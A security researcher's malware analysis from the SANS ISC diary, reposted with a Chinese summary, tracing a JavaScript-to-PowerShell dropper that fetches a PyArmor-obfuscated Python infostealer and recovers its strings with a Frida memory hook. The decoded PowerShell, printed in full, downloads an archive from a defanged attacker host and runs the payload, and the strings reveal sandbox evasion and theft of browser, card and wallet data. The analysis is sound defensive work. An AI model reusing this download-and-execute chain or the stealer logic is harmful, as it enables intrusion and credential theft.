Obfuscated Malicious Python Scripts with PyArmor, (Wed, Apr 9th)
代码混淆对开发者很重要,用于保护版权和防止逆向分析。PyArmor是一个流行的Python混淆工具。文章分析了一个恶意Python脚本的执行过程和行为,并使用Frida提取内存数据。最终发现该脚本是一个窃取工具。 2025-4-9 06:30:5 Author: isc.sans.edu(查看原文) 阅读量:18 收藏

Obfuscation is very important for many developers. They may protect their code for multiple reasons like copyright, anti-cheat (games), or to protect their code from being reused. If an obfuscated program does not mean automatically that it is malicious, it’s often a good sign. For malware developers, obfuscation helps bypass many static security controls and slows down the reverse analysis process.

There are two main ways to obfuscate your code: directly at development time (strings obfuscation, code pollution, functions and variables names, …) or through another tool that will take the original program as input and generate a brand new one.

Yesterday, I spotted some malicious Python scripts that were protected using the same technique: PyArmor[1]. This tool is not coming from the underground and is an official tool to deeply obfuscate Python scripts, and it performs a pretty decent job!

Let’s have a look at one of them delivered through a piece of JavaScript: update.js (SHA256: 64bcf9eb0a54230372438a09ba0ac9e5fa753622e88713d80b9298ab219540fa[2]). The script is a one-liner:

var WshShell = new ActiveXObject("Wscript.Shell");
WshShell.run("Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUA ...[Redacted] ... 8ACAAaQBlAHgA", 0, false);

The decoded Base64 data reveals another one:

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(('{"Script":"JFVSTCA9ICdo ... [Redacted] ... 2NyaXB0UGF0aCINCg=="}' | ConvertFrom-Json).Script)) | iex

Did you see that the next payload is stored in a JSON object?  Here is the decoded script:

$URL = 'hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3.zip'
$OutFile = Join-Path $env:TEMP 'py.zip'
$ExtractPath = $env:TEMP
$pythonExe = 'pythonw.exe'
$scriptPy = 'exec.py'

$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri $URL -OutFile $OutFile

if (Test-Path -Path (Join-Path $ExtractPath 'python3')) {
    Remove-Item -Path (Join-Path $ExtractPath 'python3') -Recurse -Force
}

Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($OutFile, $ExtractPath)

$pythonPath = Join-Path (Join-Path $ExtractPath 'python3') $pythonExe
$scriptPath = Join-Path (Join-Path $ExtractPath 'python3') $scriptPy

Start-Process -NoNewWindow -FilePath "cmd.exe" -ArgumentList "/c set REALTEKAUDIO=hxxps://postprocesser[.]com/.well-known/pki-validation/go/cinnamonroll.php?id=mumu && set PROCNAME=Main && $pythonPath $scriptPath"

The downloaded archive python3.zip contains a stand-alone Python environment and also the next payload (exec.py):

# Pyarmor 8.5.11 (pro), 005724, non-profits, 2024-12-13T07:33:37.517122
from pyarmor_runtime_005724 import __pyarmor__
__pyarmor__(__name__, __file__, b'PY005724\x00\x03\x0b\x00\xa7\r\r\n\x80 ... [Redacted] ... \xff\xe3m\x82\xdboi,\x85i\xf0')

If you execute this code in a sandbox, it will perform many suspicious actions:

wmic path win32_VideoController get name
wmic csproduct get UUID
taskkill /F /IM msedge.exe
taskkill /F /IM chrome.exe

Then crash…

How to get more details about this Python script? PyArmor can’t be deobuscated easily (especially the latest version). Let’s try to extract some piece of memory. As described in the PyArmor documentation[3], it serializes code objects and obfuscates them to protect constants and literal strings. Python marshal[4] is used for this.

Using Frida[5], let’s try to get access to some memory regions. We can hook PyMarshal_ReadObjectFromString() and dump data on disk. Here is a quick Frida script:

const marshalLoads = Module.findExportByName(null, "PyMarshal_ReadObjectFromString");
if (marshalLoads !== null) {
    console.log("Found marshal.loads at: " + marshalLoads);
    Interceptor.attach(marshalLoads, {
        onEnter: function (args) {
            this.buf = args[0];
            this.len = args[1].toInt32();
        },
        onLeave: function (retval) {
            const raw = Memory.readByteArray(this.buf, this.len);
            const filename = `marshal_dump_${Date.now()}.pyc`;
            const f = new File(filename, "wb");
            f.write(raw);
            f.close();
            console.log("[+] Dumped marshal.loads payload to: " + filename);
        }
    });
} else {
    console.log("marshal.loads not found.");
}

Let’s execute the script again through Frida:

C:\Users\REM\AppData\Local\Temp\python3>frida -l .\hook.js -f .\python.exe exec.py
     ____
    / _  |   Frida 16.7.4 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to Local System (id=local)
Spawning `.\python.exe exec.py`...
Found marshal.loads at: 0x7ffbceb68fc8
Spawned `.\python.exe exec.py`. Resuming main thread!
[+] Dumped marshal.loads payload to: marshal_dump_1744177893798.pyc
...

We had a hit on the hooked function! The result file is not a Python bytecode as expected but just data without relevant strings (only related to the Python environment).

Another approach is to dump the process completely then search for strings again (because once in memory, it has been deobfuscated).

Interesting strings are present in memory and reveal a classic Python script:

esurroundtogethertomorrowtortoisetransferumbrellauniverseDwmFlushAbortDocDeleteDCMoveToExResetDCWoleaut32SetFocusCopyRectPtInRectDrawIconFillRectEndPaintClassANYQuestiondaylightSHA1-RSADSA-SHA1DNS nameavx512cdavx512eravx512pfavx512dq2.5.4.102.5.4.112.5.4.17FakeErrorfork/execcontinuedRemoveAll#execwaitinterruptbus errorntdll.dllFindCloseLocalFreeMoveFileWWriteFileWSASendTowiresharkprl_toolsprocmon64exeinfopeproxifierhttpdebugmitmproxytitanhideSERVER-PCLOUISE-PCBECKER-PCkEecfMwgjralphs-pcGANGISTANRALPHS-PCj6SHA37KAkeecfmwgjQmIS5df7upWOuqdTDQUox1tzaMOrB5BnfuR2txWas1m2ta.monaldoUser DataMicrosoft%s//UsersPasswordsDownloadsAutofillsBitFinityDoge LabsLiqualityMaiarDEFI\bytecoinnot foundopera.exebrave.exeDCBrowserSeaMonkeyIceDragonPale MoonUrBrowsermotdepassDocumentsTLauncheralts.jsonalts.novoLightcord

You can see some search sandbox names (“SERVER”, “PC-LOUISE”, …) as well as process names (“procmon64”, “execinfope”, …)

Another interesting one:

failed to write to key log

Credit cards and wallet activity:

Credit Cards: %-50s %-50s %-50s\Electrum\walletsbrowser not foundEpicGamesLauncher

It seems to be a classic stealer...

If you have tools or processes to deobfuscate PyArmor-protected script, please share!

[1] https://github.com/dashingsoft/pyarmor
[2] https://www.virustotal.com/gui/file/64bcf9eb0a54230372438a09ba0ac9e5fa753622e88713d80b9298ab219540fa/details
[3] https://pyarmor.readthedocs.io/en/v7.3.3/how-to-do.html
[4] https://docs.python.org/3/library/marshal.html
[5] https://frida.re

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key


文章来源: https://isc.sans.edu/diary/rss/31840
如有侵权请联系:admin#unsafe.sh